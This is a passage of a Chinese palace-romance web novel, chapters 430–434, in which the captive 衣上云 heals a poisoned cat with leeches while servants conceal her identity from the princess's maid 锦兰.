侍卫似是越想越不敢往下继续想去,却又忍不住不得不提示梅志煊:“怕只怕,咱们这个院落太小,如果万一她们一见面,便会立刻认出彼此来。所谓‘久别重逢情更浓’,到时候怕是搞不好,公主知道了咱们的用心,又会和当年的嫡皇后娘娘一样,最后不顾一切地又回到西秦国去。那我们岂不是竹篮打水一场空,什么好处都没捞到嘛!” 话音刚落,只见梅志煊顿转过身去定定地看着侍卫的眼睛,对其厉声喝道:“当然不能让她再踏回到西秦的国土去,所以本皇子已经告诉了她一件秘事,相信她一定会做出正确的选择。为今之计,我们只需专心加快我们的速度即可。” “秘事?” 侍卫好奇地道。 梅志煊勾了勾手指,于是侍卫忙上前两步朝其近身了过去贴上一耳,梅志煊微微俯身,主仆俩在一片漆黑的夜里,院中一角落的桂花树旁窃窃私语了起来…… 自从被人强行由凤凰岛的木屋里带入到东宁皇宫,安置在这一废弃确是着实极为僻静的小院落,又与梅志煊极为不愉快的一场谈话过后,衣上云便很少开口说话。 且这些日子里,她并未按照梅志煊事先所安排的,以男子扮相示人。第一抓机 梅志煊对此似是也颇为无奈,拨了两个小丫头巧兰、巧慧近身伺候着。可任凭她们姐妹俩使尽浑身解数,衣上云亦丝毫不为所动,每天不是安静地坐在桌前,就是在院子里总能找个地方发呆。 她严肃地审视自己究竟是谁?从哪里来,要到哪里去? 她认真地思考着自己的命运,不停地一遍又一遍地在心里问自己,难道就打算这么坐着等待一切的降临吗? 院子里的其他丫鬟小厮们时不时都总是用怪异的眼光偷偷打量她,她知道大家都在议论她不是哑巴了,便是受了什么刺激失心疯了。可是,无论她们说的再离谱,她都丝毫不关心这些。 梅志煊依旧每日带着侍卫亦总是有意无意地无数次经过她的院门,而每次都是同样沉默不语地远远看着她,看她本就清瘦的整个人,如今一天天地更是瘦弱了下来。 有时,她在院子里一角发呆的时候,会听到巧兰、巧慧悄步出门近身过去到梅志煊的身边悄悄地请求说:“三皇子殿下,您快进去劝劝姑娘吧!若是再继续这样下去,姑娘的身子怕就是铁打的也是支持不住的啊!” 梅志煊双手负后着沉默半晌,只简简单单寥寥几字道:“劝,是没有用的,时候到了,她自然会想通,会认命的!” 衣上云却在心里一遍又一遍固执地想着:“不会,不会。我永远都不会想通,为什么我的过去,我的身份,我的命运会由你的随便一句话便就决定?我不能接受自己的人生就是别人的几句话。不能,我不能!我痛恨老天,为什么要让我遭遇这样的人生,什么一切都是命,认命吧!我不能接受!绝不!” 时已是深秋,院子里树上的叶子早已开始纷纷掉落。 见她经常站在树下,静静地看着秋风吹过时,随风飘舞而下的树叶。她就那样呆立在漫天飞舞的落叶中,似是凝固成了秋日风中的一个永恒的画面。 眼前每一片落叶都是一个舞者,它们也曾经历过自己人生中的四季。可最后终是敌不过地心引力,慢慢地,带着对风的无限眷恋落下。 巧兰、巧慧默默地站在她身后,陪着她看了许久后,忽然听她第一次开口轻轻地说了声道:“它们都是被迫无奈的,它们根本不想离开大树的怀抱而坠落,可最终却都逃不脱分离,散场落下 的命运。” 闻声,俩个女子惊讶地对视了一眼,继而巧兰柔声地说:“姑娘您现在是‘感时花溅泪,恨别鸟惊心’,等过几日,您心里的谜团都解开了,心情好了,就不会这么想了。” 她没有说话,只继续沉默不语地看着那风中正飘舞着的片片叶子。 等了一会儿,巧慧又试着问:“姑娘,您喜欢树叶是吗?” 只见她伸手出去接住一片此时正好飞过眼前的红叶,道:“是的!我很喜欢树叶。即便它是同一棵树上的叶子,其每一片叶子上也都各不相同。” 说着,她把放在手心的叶子靠近唇边用力吹起,抬眼看着它在风中的摇曳舞姿。 就在这时,忽然…… 第四百三十一章:蚂蟥,猫与公子 就在这时,忽闻院子一角上发出“扑通”的一声响。 院子里的众人闻声,皆都一齐放眼朝其望去,见原是一只颈上系着一个小铜铃铛,全身雪白雪白的小猫咪,不知为何此刻却从高高的墙头摔了下来,重重地掉落在了地上。 它正朝着众人似是同样惊恐地不断发出一声声“喵……喵……喵……”不停的叫声来。 巧慧一见,忙朝其急奔了过去俯身下来伸手一边温柔地抚摸着它的小脑袋,一边仔细端详着它。 忽然,她甚觉吃惊地道:“咦,这不是咱们娘娘为小殿下特意派人千里迢迢从母国西秦寻来的小宠物吗?怎么会跑到咱们的这个院里来了?” 但见其身旁围上来的众人一个个亦皆都瞠目结舌,似是对如此受宠的一只猫咪为何会来到此处,亦是一无所知的样子。 只有一女子断断续续的声音隐隐传出道:“是的,是的,这就是咱们娘娘为小殿下养的那只小猫。小殿下每次哭闹不止的时候,一看到它便就会立马破涕为笑,安静下来,甚是灵验。” “听说啊,这是从西秦秦王府里寻来的猫。本是那名扬整个灵空大陆的战神秦王殿下所养,自从西北大战以后……” 就在这时,巧兰忙回头看了看身后,并未见衣上云的人影,忙嘘声警告众人道:“嘘,都一个个赶快把自己的嘴闭起来吧!难道你们都忘了三皇子所交代过的吗?谁都不许在姑娘面前提起有关于秦王亦或西秦的半个字。” 闻声,众人皆都立马收了声。 而此时,越看便越是喜欢的不得了,手指触摸着它柔软的细毛,看着它那闪闪发光的圆溜溜的眼睛,巧慧忽然一把抱起了小猫来将它高高举过头顶,转起圈来。 人群里的巧兰忽然细心地似是发现了什么,提醒正在爱不释手地轻抚小猫的巧慧道:“巧慧停下来,赶快仔细检查一下,这只猫好像是受伤了!” “啊?受伤了?哪里受伤了?”巧慧一边说着,一边紧张地将其抱起,把它的全身翻过来覆过去仔细查看了起来。 就在她一寸寸拨开小猫身上所覆盖着的长长的绒毛,直至检查到后腿上的时候,她忽然惊叫了起来:“呀,还真是的呢!这只猫果然是受伤了。你看它的这只爪子,都已经肿得发紫了。” “怎么办?怎么办?这可该如何是好啊?小殿下最是喜欢这只从西秦来的猫了。若是没有了它,以后小殿下闹起来,那咱们娘娘可要怎么办呢?听说,这只小猫在西秦皇宫里也是仅有此一只的呢!” 一个小宫女忽然忧心地说道。 就在所有人对此皆都手足无措时,巧兰蹙眉默想了一瞬,当即掏出自己身上的一条洁白帕子来提步上前,正欲替其包扎,忽闻身后传出一声音将其阻止道:“住手!” 众人闻声,皆都纷纷回头举目朝其望了过去,只见一长相眉目清秀,墨发全束,万千青丝以一白色发带系着的一袭蓝色锦袍的公子身影映入了大家的眼帘。 所有人俱都望着眼前的这位翩翩公子惊呆了。 “姑娘因何忽然间如此打扮,可是终于想通了?”半晌后,手里尚还紧紧攥着那条白帕的巧兰惊诧着愣愣地问。 然却只见一袭男装的衣上云脸上此刻似是并无丝毫表情,只自顾跨过了屋内的那道门槛,继而踏过门前的石阶,快步走了下来,兀自径直朝着人群堆里近身了过去。 众人见了,皆都紧忙闪让出了一条小道来,她过去略一打量那只小猫肿大的后爪,当即朝其吩咐道:“还不赶快将它的身子放在案上,不要再摇晃玩弄它。” “赶快放下,赶快放下……” “放这儿,放这儿……” “轻点儿,轻点儿……” 顿时间,奴才小厮们一个个皆都手忙脚乱,又还算是机灵地小心翼翼帮忙很快便将小猫放在了院子角落里的石桌上。 衣上云这才似是安心了些许下来,遂抬眼环视了一眼周围这座院子的布置,像是在寻找些什么? 这才发现,虽是这里的一切果然皆都陈旧简陋,却也在这些婢女小厮们多日的辛勤打扫和整理下,算是皆都一尘不染,井井有条。 忽然间,她瞥到后院里有一大片荷花池,遂将两只衣袖一边挽起来,一边朝其迈步近身了过去。 “姑娘……”巧兰不知其所以,纳闷地正欲开口问,又觉自己如今的称呼亦应该改过来了,便又道:“公子您是在寻找什么呢?奴婢来帮您!”516 于是,紧随巧兰的脚步之后,除了正忙着按压着小猫在石桌上的巧慧以外,一众奴才皆都纷纷蜂蛹而上,全部都将衣袖高高挽起,争先恐后地道:“公子,咱们都来帮您!” 看着衣上云将两只衣袖高高挽起,弯腰下去胡乱一气在荷塘里来回摸索着,巧兰瞧了半晌也没弄明白,于是开口问:“公子这是在池中寻找何物?” 恰时,衣上云的动作忽然停了一下,继而笑着从池水里捞出来一条体长稍扁,乍一看似是圆柱,背部绿中带黑,有5条黄色纵线,腹面平坦,灰绿色的蚂蟥来。 她将其故意悄悄藏在身后,复又近身过去忽地扬起到巧兰的眼前,巧兰心中丝毫没有防备,被其吓了一跳,大声地叫道:“啊!公子,这是什么东西?你这是……” 衣上云大笑不止,看着自己手里紧紧捏着的那条丑陋恶心,事实上也着实一点儿都不起眼的小东西道:“这种蚂蟥,又作吸血鬼。” 话刚开口,其身旁众人一见,皆都拿出帕子来侧身过去掩住口鼻,厌恶又恶心至极地道:“咦,原来是蚂蟥,好恶心啊!” 衣上云依旧自顾自笑了笑,道:“你们可都别小看了这种表面上看起来恶心的小东西,它在《神农本草经》中可是早已有所记载,具有很高的药用价值的。” “哦?这遍地存在于田间地头,水坑淤泥里的蚂蟥能有什么用处?”巧兰不明白地问。 衣上云哼了一声,道:“马上,我便会让你们亲眼见识它的威力,都给我看好了!” 说着,便伸出一只手去将刚刚抓来的一只蚂蟥放在了小猫那只受伤的爪子上,另一手轻柔地抚摸着小猫的脑袋以替其缓解紧张的情绪。 她这才徐徐开口解释道:“方才我已经注意到,这只猫,其实并不只是单纯的受伤,实际上它是中毒了。你们瞧它的这只爪子,已经肿胀淤紫,快要接近坏死了。如果不尽快处理,那么等待它的,不是截肢,便是丢掉性命。” 众人听了,皆都瞠目结舌,目不转睛地盯着这一即将到来的奇迹时刻。 只见那只蚂蟥一接触到小猫的爪子,便开始卖力地工作起来,身子渐渐变得越来越圆滚滚,时间一分一秒地过去…… “不行,我还需要几只蚂蟥!巧慧,你来轻轻地按住它的身子,不要太过于用力,我必须再去抓几只……” 未及衣上云将话说完,一众奴才小厮们一齐扬声应道:“捉蚂蟥的小事就交给奴才们去办,公子你只需留在此处替这只可怜的小猫安心疗伤即可。” 衣上云微笑着朝其感激地点了点头,又细心叮嘱道:“那就多谢你们各位了,大家务必一定要小心点儿,千万不要被这狡猾的小畜生给伤到了自己!” “能为公子效劳,奴才们荣幸之至!公子放心,奴才们去去便回。”小厮们雀跃着,一溜烟儿似的纷纷离去,不见了踪影。 约摸着过去了一刻钟的时间,第二只,第三只…… 伴随着好几只蚂蟥陆续一个个变得比之前粗大了好多,而终于,小猫也得救了。 众人见此,皆都长长的舒了口气,衣上云亲自又给小猫敷了一些可以彻底清除其伤口上的毒素的药草,将其仔细包扎好,方才安心地交到了巧慧的手里:“好了,等再过两天,它就又会和以前一样活蹦乱跳了。” 轻抿着嘴唇笑了笑,忽然似是想起了什么,衣上云问巧慧:“对了,这只猫是从哪里来的,怎么看起来有几分眼熟,像是从前在哪里见过的一样?” 闻此,巧慧顿时看向了巧兰的眼睛,巧兰忙上前解释道:“这种猫极其温顺可爱,在我们东宁国一直甚是受大家的喜爱,无论是达官贵族还是在民间,皆都有人饲养,想必公子之前在哪里见过,觉得眼熟也是有的。” “嗯,或许吧!”衣上云听了蹙眉默默地道。 继而一边回头朝着屋内方向走,一边交代巧兰、巧慧道:“带下去好好照顾它吧,我忽然觉得有些累了,想回屋休息会儿,你们都不要打扰,我也不想见任何人,明白吗?” “知道了!”巧兰、巧慧朝其躬身行礼道。 直到亲眼看着衣上云进了屋,巧慧方才长长地舒了口气,抚着胸口道:“吓死我了,吓死我了,幸好有你在,还好她信了你的话。” 而巧兰则痴痴望着衣上云离去的背影,一脸阴云密布地道:“依我看,将她就在这儿,迟早要出事!” 话音刚落,门外忽然来了一位不速之客。 那人远远地一瞥见其俩人的身影,便面露一脸焦急之色地道:“巧兰、巧慧两位妹妹……” 她,会是谁呢? 第四百三十二章:不速之客 直到亲眼看着衣上云进了屋,巧慧方才长长地舒了口气,抚着胸口道:“吓死我了,吓死我了,幸好有你在,还好她信了你的话。” 而巧兰则痴痴望着衣上云离去的背影,一脸阴云密布,意味深长地道:“依我看,将她留在这儿,迟早要出大事!” 话音刚落,门外忽然来了一位不速之客。 那人远远地一瞥见其俩人的身影,便面露一脸焦急之色地道:“巧兰、巧慧两位妹妹……” 就在巧慧猛地回头一看那来人的脸,顿时间不知所措地倒抽了口凉气,瞪大眼睛,张大嘴巴惊呼了一句:“天呢,她怎么来了?” 继而复又慌忙扭回头来看着巧兰的脸,巧兰故作镇静地看着来人压低声亦道:“这可还真是越怕什么,就越来什么,一波未平,一波又起。” 话音刚落,便紧忙扬起笑脸来一把拽了巧慧的胳膊拖着其一起提步迎了上去。 “原来是锦兰姐姐,不知今儿个姐姐怎么有空来这里啊,小殿下和娘娘那边不需要您侍候吗?” 巧兰一边说,一边近身过去将正欲踏进门来的轩辕玥的贴身婢女锦兰搀扶着回头走出了院门。 直到了前院里的一个凉亭里,巧兰方才将锦兰按坐了下来松开手,又命令一旁的婢女道:“都还傻愣着干什么?还不赶快去给锦兰姐姐倒茶?再端些可口的点心上来。” 锦兰心里着实焦急着,闻声忙起身来将其阻止道:“巧兰妹妹无需多礼,这会儿我是如热锅上的蚂蚁,娘娘那边小殿下不知为何哭闹不止已经许久,早已是乱作一团了。” 巧兰蹙眉着急地道:“小殿下怎么了?可是哪里有不舒服吗?有没有请太医来瞧瞧?” 锦兰似是急的都快要哭了,连连激动地道:“没有用的,没有用的。小殿下,他乃是因为最喜欢的那只小猫不见了,所以才……” 似是有些哽咽,巧兰见了忙上前将她扶着在凉亭的石凳上坐下。 顿了顿,锦兰收拾起心情,许是实在忍不住一直以来内心的痛苦煎熬,想要找个能倾诉的对象,便说道:“我们家娘娘她其实好可怜,从小到大好不容易在西秦皇宫里碰到唯一一个知心的朋友,她的身份虽也是一个和咱们一样整日里卑躬屈膝的小宫女,可娘娘却待她极好,去哪里都带着她一起。就在知道自己注定已逃不了要远嫁的宿命后,以后不能再为她操持什么,来东宁前还亲自特地向皇后娘娘为她求了一份皇家的十里红妆,不想她被夫家轻视。” 巧兰听了颇为感叹地道:“那娘娘与那宫女之间的感情,一定是深似海啊!” 锦兰道:“谁说不是呢!娘娘她在这里举目无亲,无依无靠,三皇子殿下又时常外出办差。夜半无人时,娘娘她总是一个人偷偷地流泪,连个说知心话的人都没有。这好不容易盼到小殿下出生了,原想因此可以让她感到安慰一些,可谁想,如今她却不是对那什么都听不懂的小儿诉说,便是对着小咪诉说,娘娘她……她……她心里实在是太苦了!” 话刚说完,便见她掏出帕子来默默拭起了眼角伤心的泪水。 就在这时,婢女们端着食盘奉上了几道精致的茶水点心来。 巧兰亲自将一盏热茶递到锦兰的手里:“姐姐先喝口热茶暖暖身子,有什么事儿,咱们慢慢说。” 忙了大半天,早已是焦头烂额的锦兰此时着实有些渴了,便将其接过缓缓抿了起来。 巧兰见了微微一笑,她自是不知此时锦兰口中所说的那个她主子的好朋友,此刻正在仅仅与其只有一墙之隔的院子里,于是心里纳闷地问道:“既然咱们娘娘与那名宫女甚是交好,那缘何不把她同姐姐们一样,带来东宁国作伴呢?” 锦兰扫了扫看周围,巧兰顿时意会屏退左右,包括巧慧。 众人退下,见此,锦兰方才轻抿了抿嘴唇,蹙眉着道:“妹妹,因为你的名字同我一样,都有个‘兰’字,又是三殿下颇为看中之人。姐姐知道,三殿下与宫中的那股势力向来水火不容,所以打从第一次见到你,我便觉得甚是亲切。可接下来的这件事,你务必答应我,除了你,谁都不能告诉?” 巧兰慢慢将双手附上锦兰的手,将其紧紧握住,一本正经,信誓旦旦地道:“姐姐放心,巧兰一定守口如瓶!” 锦兰吸了口气,缓缓起身来看着凉亭四周水面上在微风吹拂下泛起的层层涟漪,一脸严肃地道:“娘娘之所以不把云儿带来东宁国,乃是因为她是我西秦国一地位举足轻重之人所看上的人!” 巧兰一边思量,一边低声默默地重复:“西秦国地位举足轻重之人……能让咱们娘娘忍心割爱的……莫非是……” 想着想着,巧兰忽觉心里咯噔一下,继而难以置信地看向锦兰的背影道:“莫非,姐姐说的莫非是那传说中叱咤整个灵空大陆的战神秦王?咱们娘娘唯一的亲皇叔?” 锦兰转身看着巧兰此时岂止是惊诧不已的脸,赞道:“姐姐终于知道三殿下为何如此看中妹妹了,妹妹果然聪明过人,一点就透!” 而此时巧兰的整个人更是惊呆了,只稍稍顺势一想,便道:“那……那若姐姐所言不虚,那个叫……叫作‘云儿’的婢女若是有朝一日进了秦王府的话,那永乐公主,现在的秦王妃竟然输给了一个小小宫女,她岂不是很没面子?” 而此时,锦兰却忽然一脸黯然了下来,默默走到石凳边落座下,叹息地道:“可惜,只怕她这辈子是永远都进不了秦王府的大门了……” 闻此,巧兰方才顿时反应了过来,似是有些失望地道:“对啊,听说西北一战甚是惨烈。最后那睥睨天下的西秦战神秦王最后竟然是与北烈同亡了,真是可惜啊可惜。” “啊?同亡?”锦兰此刻许是太过于投入地沉迷于深深的回忆里,听了顿时吃惊地道。 可忽又猛地回神,接着咽了口口水,自己险些就酿成了大错,于是忙应声道:“哦,是啊,可惜,真是可惜……” 巧兰叹了口气,又摇了摇头,伤感地道:“看来这奴才啊,生下来就注定是奴才的贱命,本就不该做什么‘飞上枝头变凤凰’的春秋大梦。你看,就连老天爷都不帮她吧,唉……” 锦兰默不作声,只抿了抿嘴唇便心虚地将头深埋了下去。 忽然,巧兰提起精神来道:“既然那秦王已殁,那何不让娘娘再书信一封回母国,把那云儿要过来东宁皇宫里不就好了吗?做不了凤凰,在娘娘的身边也是不错的啊!” 锦兰缓缓抬起头,道:“怕就怕云儿,她亦早已经命丧黄泉,此生永不得归了!” “什么?”巧兰忍不住发出一惊声来。 锦兰默想了会儿,徐徐道:“妹妹你有所不知,其实,西北一战,表面上看起来是因为西秦与北烈边境上积怨多年,实则却都是因云儿而起。” “啊?”巧兰一听这话,顿立起身来差点儿跳起。 锦兰幽幽解释道:“其实,在娘娘还未出嫁东宁之前,云儿便已经离宫了。当时本是安排中秋过后便往秦王府当差,这还是秦王妃亲自开口向皇后讨的人,定是也没安什么好心。后来,眼看着日子越来越近,有一日,云儿忽然在城南坠崖失踪,就此便再也没了音信。” “怎么会发生这种事情?这个女子还真是命运多舛啊!”巧兰甚觉不可思议地道。 锦兰舒了口气,回忆着道:“谁说不是呢?她一生下来便被传为整个西秦国家喻户晓的废柴丑女,还遭人退婚。入宫后,为了公主又频频受罚,弄得自己遍体鳞伤。出事后,所有人都以为她是坠崖死了,可只有秦王殿下坚信她是被北烈大皇子拓拔泽图谋不轨将其拐去了北烈,这才彻底激怒了秦王殿下,于是他便向皇上请兵北上,讨伐北烈,救回云儿。谁料最后……” 此话一出,一片寂静,俩个女子皆都陷入了自己沉沉的思索当中…… “叮叮当,叮叮当……” 就在这时,忽然传来一阵连续不断清脆的铃铛声。 如此熟悉的声音,锦兰忙抬头寻声望去,见一只白色的小可爱一边摇晃着尾巴,一边从廊桥的另一头正朝着凉亭方向奔跑过来。 她忽地起身来提起裙摆便朝其急奔了过去,将其一把抱了起来,激动欣喜地道:“小咪,是小咪,真的是你,真的是小咪,小咪……” 锦兰激动极了,等到回过神来方才问跟随其后近身过来的巧慧:“小咪它,它怎么会在这里……” 巧慧解释道:“锦兰姐姐,小咪它应是被毒蛇咬了,从墙头摔了下来,当时严重极了,差点儿性命不保,幸好公……幸好公子他医术高明,用咱们荷花池里的蚂蟥给它解了毒,又精心包扎了一番,你看看,现在已经一点儿也不肿了,过两天一定会恢复如初的。” 锦兰这才顺着巧慧所指看了看,道:“中毒了……难怪宫女们说看到小咪走路一瘸一拐的,想要检查一下,就是不给她们碰。大家一追,它反倒跑了,害得大家翻遍了整个院子无论如何就是找不到。” 说完顿了顿,锦兰忽道:“对了,是哪位公子给小咪疗的伤?我得当面和他致声谢去。” 锦兰说着,便自顾自朝院内方向踱步过去…… 第四百三十三章:疑心起后院 “对了,是哪位公子给小咪疗的伤,我一定得当面和他致声谢去。” 锦兰说着,便一手抱着小咪,一手提起裙摆来提步自顾自径直朝着院内方向踱步了回去。 巧兰一见,紧忙追上前去用自己的身子挡在其面前,将其阻止道:“哎,姐姐有所不知,这位公子,是三皇子殿下的朋友。所以,帮助殿下,替殿下分忧也是他分内之事,姐姐不必如此客气。” 然锦兰却不以为然,坚持着道:“巧兰妹妹此话差矣,既然是三皇子殿下请来的贵客,那我便更应该去当面谢谢他了。如此才不会显得咱们娘娘管教下人无方,才不会失礼啊!” 锦兰说完,便再次绕过了巧兰的阻挡,提步继续向前。 巧兰、巧慧互相迅速地对视了一眼,复又紧追上去一人一只胳膊将锦兰驾了起来,巧慧道:“呃,锦兰姐姐,锦兰姐姐,不必了,真的不必了!你的谢意,咱们一定会替你转达的。” 巧兰亦连连点头同意其说法。 然锦兰却蹙起了眉头来,对二人此举实在是费解,于是纳闷地问:“你们俩个丫头鬼鬼祟祟的,到底在做什么?” 心中一顿,似是忽然间猜到了什么似的,遂放眼过去眺望着面前那扇虽然陈旧,却依然显得庄严肃穆的朱红色大门,又扫了眼周围与往日完全不同的异常布置。 开口问:“这座院子,不是说已经废弃了许多年了吗?怎么三皇子殿下忽然会派你们俩个亲信来这里当差,还有这么多的侍卫在四周把守着。” 一时间里,巧兰、巧慧皆都被问的无言以对。 见此,锦兰越想越不对劲,继续问:“我问你们,三皇子殿下所请来的那位客人,究竟是什么来头?竟会如此重要与神秘,就连我都不能见他一面?” “那客人,那客人,他,他……”巧慧心里顿时一慌,忽然变得吞吞吐吐,她着实心虚极了,感觉自己似乎随时都有可能将真相脱口而出,她此刻心里害怕极了。 而幸好巧兰依旧尚还保留着一丝镇定,咬了咬嘴唇,说道:“锦兰姐姐有所不知,只因那客人他的脾气甚是刁钻古怪,无论白天亦或黑夜,均都不喜见人,故一直闭门谢客。并不是咱们故意不让姐姐见。所以,姐姐就不要胡思乱猜了,我们姐妹定会替您好好谢谢他的。” “果真如此,你们没有骗我?”锦兰盯看着俩人的眼睛,半信半疑地道。 “不敢,不敢。”姐妹俩异口同声地道。 “可是我怎么总觉得……似是隐隐约约感觉到了一股熟悉的气息,似曾相识的样子。他到底是谁?到底……” 就在锦兰依旧不愿意放弃,纳闷极了地朝院内四处张望着,试图获取更多的信息,准备再次发声时,身后忽然传来一宫女急促的脚步声。 那宫女一见到锦兰的背影,便焦急万分地道:“锦兰姐姐,锦兰姐姐,咱们所有人都已经到处找遍了,根本就没有找到小咪的半个影子啊。小殿下此刻哭闹地越加厉害了,这可该如何是好呢?” 见此,巧兰接机忙开口催促着道:“好了好了,我的好姐姐,没什么好可是的了。小殿下那边要紧,姐姐您还是赶快回宫去吧,免得娘娘费神……” 锦兰这才看了看怀里此刻安静极了的小咪,迫于无奈地道:“好吧,那就有劳两位妹妹了,我改日再来亲自登门道谢。” “好了好了,快去吧,快去吧……”巧兰、巧慧推推搡搡着,将疑心重重的锦兰催促着送出了门。 至此,望着其渐渐远去的背影,姐妹俩忍不住忙一起擦了擦额头的冷汗,终于长长的舒了口气,巧慧道:“谢天谢地,她终于走了。” 而巧兰却仍然忧心忡忡地道:“怕只怕,她可并没有那么好打发的!” 出门向前沿着长廊一直往东,相隔约摸几个院子,便是轩辕玥的寝宫。 此刻,轩辕玥正亲自抱着爱子于怀中,一边轻轻拍着其柔软的小小身子,一边在寝殿里来回踱步着走来走去轻轻晃着。 可无论如何,那孩子就是一直哇哇大哭,闹个不停,此时似是就连其发出的声音都有些沙哑了起来。 “海儿不哭,海儿不哭,咱们不哭啊……” 说着,不知又想起了什么,她的眼中忽然有了湿意,一滴一滴,落在了婴儿的襁褓上。 一直以来,身边的宫女嬷嬷们俱都对此束手无策,只能围绕在其身边等着随时被差遣。 可一见其落泪,便不停地有劝慰的声音传出:“公主歇着吧!让奴婢们来换换您,百日尚还未过,公主也要当心自己的身子才是啊!” 可无论她们说什么,亦或做什么,轩辕玥似是根本就没有听到他们所说的一般。 正所谓‘母子连心’,每每这个时候,她所受到的煎熬,又哪里会比孩子少!123看书网 见此,一旁的老嬷嬷看着心疼极了,忙问身边的婢女:“有没有派人去请过三皇子殿下了?” 婢女深锁眉头着回禀:“回嬷嬷的话,方才已经派人去请过了,但是……根本没有人知道三皇子殿下的去向。” 轩辕玥听了,失望地闭起眼睛来似是在极力隐忍着。 “这小殿下究竟为何如此哭闹不安啊,那小咪找着了没?”嬷嬷又问。 殿内众人皆都无奈地垂首下去,摇了摇头。 “这……唉!”老嬷嬷无可奈何地叹了口气。 就在这时,门外忽然传来一阵急促的脚步声伴随着清脆的声音道:“来了,来了,小殿下……” 闻此,众人皆都寻声望去。 见原是锦兰慌慌张张地从门外急奔了进来,其一脚刚一跨过门槛,便道:“公主,公主,快看这是什么?” 轩辕玥顿时将目光瞥向门口,一见锦兰高高举起的双手上正托起着一只雪白雪白的小家伙,一见那熟悉的影子,她激动地差点儿掉出眼泪来,道:“你真的找到小咪了!” 锦兰笑着不住地连连点头:“嗯嗯嗯……找到了,找到了!小咪还在,它回来了!” “还愣在那里干嘛!赶快给小殿下拿过来啊!”轩辕玥激动地道。 “哦……”锦兰疾步如飞,奔向到那几乎马上就要奔溃了的母子俩身边。 此刻,轩辕玥终于落座了下来。 她将怀里的孩子微微竖起来一点儿,锦兰遂上前将小咪的身体放在了殿内宽大的案几上。 轩辕玥伸手用一温柔的手指轻轻逗了逗孩子的唇瓣,一脸慈爱地道:“海儿不哭,快看这是什么?” “喵,喵,喵……”霎时间,小猫似是充满了灵性一般,极合时宜地发出来一阵阵不断的叫声来。 闻此,孩子终于止住了哭声变得安静下来。 至此,在场所有人久久高高悬着的一颗心,终于都各自落回到了各自的腹中,人人皆都长长的舒了口气。 直到夜幕降临的时候,孩子终于进入了其甜美的梦乡。 轩辕玥一手轻抚着其小脑袋,眼睛极尽温柔地凝视着眼前这个小小身躯,惊叹他却能发出这般撕心裂肺的强大力量。 不晓得,他长大后,到底会是个什么样的男人? “水满时则代表快要溢出,月亮最圆时则代表快要月缺,权势最鼎盛时也预示着盛无可盛,必将转衰。” 轩辕玥想着想着,默默低声地道:“海儿,母妃只盼望你能幸福快乐一生一世,如此而已!” 就在其正陷入沉思之际,锦兰拿着一件紫色披风悄悄走了进来,朝其近身过去替其轻轻披上,关切地道:“起风了,公主当心身子!” 轩辕玥伸手一边将披风紧了紧,一边扭过头来对其笑了笑,深看着她的脸,认真地道:“锦兰,谢谢你!谢谢你替我和海儿找回了小咪,若是没有了小咪,我和海儿的日子,都不知道有多漫长……” 锦兰对其笑了笑,遂看向榻上孩子圆嘟嘟可爱的粉红脸蛋,那长长的睫毛,还有其身旁与其同样一道正懒洋洋地闭起眼睛来小歇的小猫,道:“小殿下终于睡了,看来咱们秦王殿下所赠的这只小咪甚是管用啊!” 说完,眼睛最后复又回到轩辕玥的身上,脸色忽然变得认真了起来,道:“公主又何必与奴婢致谢,奴婢打从在西秦皇宫里第一天跟了公主,便发誓这辈子生是公主的人,死是公主的鬼。公主的事,便是奴婢的事。所以,公主永远都不要和奴婢说‘谢谢’这俩个字,奴婢……承受不起。” “锦兰……”闻此,轩辕玥感动极了。 锦兰抿了抿嘴唇,略一回想,道:“不过,有一个人,公主倒还真是应该要好好谢谢他才是。今儿若不是他伸出援手,及时给小咪解毒,小咪怕是早就已经中毒而亡,不复存在了!” “哦?他是谁?你可曾见过?”轩辕玥不明所以又着急地问。 锦兰道:“实际上,奴婢至今也是没能见到恩人本人。只知道他是一位公子,而且是咱们三殿下请来的一位神秘贵客,如今就住在咱们后院那座废弃了许多年的院子里。” “殿下的神秘贵客?”轩辕玥似是顿时对其起了兴趣。 第四百三十四章:复仇的决心 转眼,已是又大半月过去。 是夜,天空中竟不知不觉地落起了雨来,正所谓一场秋雨一场寒。 窗内,一盏孤独的红烛随风摇曳着。窗外,细雨横斜,积水顺着屋檐悄然滴落,在地面上迅速晕开一圈圈的涟漪,似叹息,似挽留。 静静聆听着窗外久久不断的雨打芭蕉叶声,衣上云躺在榻上,几经辗转反侧终是难以入眠。索性,便起身下榻来更衣,熄灭了烛火。 伴随着“吱呀”一声。 她轻轻推开了房门,跨过门槛后复又将门轻轻合上,转身立在屋檐下痴迷地凝视着此时天地间寂静的似是唯只有这萧萧雨声的一片夜色。 一股凉风袭来,她的眼眸微微眨了眨,本能地紧了紧衣衫,遂披着一头乌黑长长的秀发,放眼朝院子里扫了一圈后锁定了一处,兀自挪步来到了院内角上的水榭凉亭里落坐下,凝视起夜空里这洋洋洒洒飘飞着的雨丝来。 远处,一盏盏明亮的灯火划过了座座精致的角楼,给深宫里的高墙内洒下一片朦胧昏黄的光,使得整个雄伟壮观的皇宫显得是那样的神秘而安静。 凉亭里的女子看着看着似是入了迷,遂缓缓起身来,那若隐若现罥烟眉,娇俏玲珑挺秀鼻,不点自红樱桃唇,肤若凝脂,颊似粉霞,不盈一握的柳腰娉婷袅娜地倚在水亭雕花木栏旁。 在这水光潋滟之中,倾国倾城之貌隐约幻现。 四周皆是静谧的一片夜色,渐渐的,细密如银毫的雨丝若轻纱般笼罩了眼前的天地,秋风拂起旁边角上一片挺秀细长的凤尾竹,细雨绵绵汇聚成珠,顺着幽雅别致的叶尾滑落而下,如水晶断线一般,时断时续。 而这一切,却也正如她心头长久以来纷乱如麻的万般思念与无奈,一曲愁肠断,又似那一地厚重的落花,即使风再卖力地吹,亦是拂而不散。 寂寞弥漫天,飞雨纷扑面。一腔柔情锁眉间,奈何与君情深缘浅生别离,渐走,渐远。 不知过了多久,她紧紧蹙眉收回了那无比忧郁的眼神,重重地叹了口气,默默地自言自语道:“殿下,云儿好想你,云儿真的好想殿下!” 无边又绝望的思念是一把刀,一把染了剧毒的刀,尤其在这种阴雨绵绵的夜里,肆意的绽放泛滥开来,其刀刀割人心,刀刀逼人命。这种痛,只有经历过的人才知道。 说完,鼻子一酸,眼泪便如此轻易地掉了下来,如同过去的无数个日日夜夜一样,思念令她痛不欲生:“殿下可知,有过多少次,云儿真的好想就这样随你而去。或许,如此便会在另一个再也不会有这般的煎熬与痛苦的世界里,云儿还会再遇见殿下,我们还会再……” 可此时自己的所思所想,显然就连她自己都不相信。 